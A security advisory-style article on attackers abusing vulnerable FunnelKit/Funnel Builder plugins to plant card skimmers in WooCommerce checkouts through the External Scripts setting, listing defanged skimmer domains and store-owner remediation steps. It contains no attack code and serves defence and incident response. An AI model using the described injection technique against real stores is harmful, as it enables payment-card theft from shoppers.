Attackers are abusing vulnerable FunnelKit / Funnel Builder installations to add payment-card skimmers to WooCommerce checkout pages. Sansec says it is tracking active exploitation against stores using vulnerable Funnel Builder versions, with malicious code injected through the plugin’s External Scripts setting. The observed loader used analytics-reports[.]com/wss/jquery-lib.js and opened a WebSocket connection to protect-wss[.]com/ws to collect checkout data [1].
The useful distinction for store owners is that this is not only a “plugin has a bug” story. FunnelKit is designed to modify sales funnels and checkout behavior, so a malicious script placed there appears in exactly the part of the site where card data, names, addresses, email, and order details are entered. That makes the admin-side configuration as important as the installed version: a patched plugin can stop the vulnerable path, but a skimmer already added to External Scripts still needs to be found and removed.
What Store Owners Should Check
First, verify the active FunnelKit/Funnel Builder version and update immediately. Public vulnerability records for recent FunnelKit/Funnel Builder flaws show unauthenticated paths affecting vulnerable versions and fixed releases in the 3.10.x branch [2]. Then inspect FunnelKit’s External Scripts or custom script areas for unknown JavaScript, especially anything loading from unfamiliar analytics, reporting, WebSocket, or payment-looking domains. Sansec’s reported infrastructure names are useful starting points, but attackers can rotate domains quickly.
Second, review checkout-page source and browser developer tools from a clean machine. The red flags are scripts that only appear on checkout, WebSocket connections during card entry, or code that hooks payment fields before the form is submitted. Server-side scans may miss this if the malicious code is stored as plugin configuration rather than as a modified PHP file. The FunnelKit documentation confirms that External Scripts is intended to inject scripts such as tracking pixels and analytics snippets into funnels, which is why this feature becomes high-impact when an attacker gets write access to it [3].
Finally, treat confirmed injection as a payment incident, not a cosmetic site cleanup. Preserve the injected script, timestamps, admin-user changes, and access logs; rotate WordPress admin credentials and application passwords; check payment-gateway logs for unusual behavior; and review whether orders processed during the exposure window need customer or processor notification. This fits the same risk pattern Gridinsoft covered in multi-platform web skimmer attacks, WooCommerce Payments exploitation, and recent WordPress admin-takeover vulnerabilities: attackers target trusted store components because checkout trust converts directly into payment data.
For broader WordPress store hygiene, also review the Avada Builder file-read and SQLi advisory; it shows why disabled WooCommerce history can still shape plugin exposure.
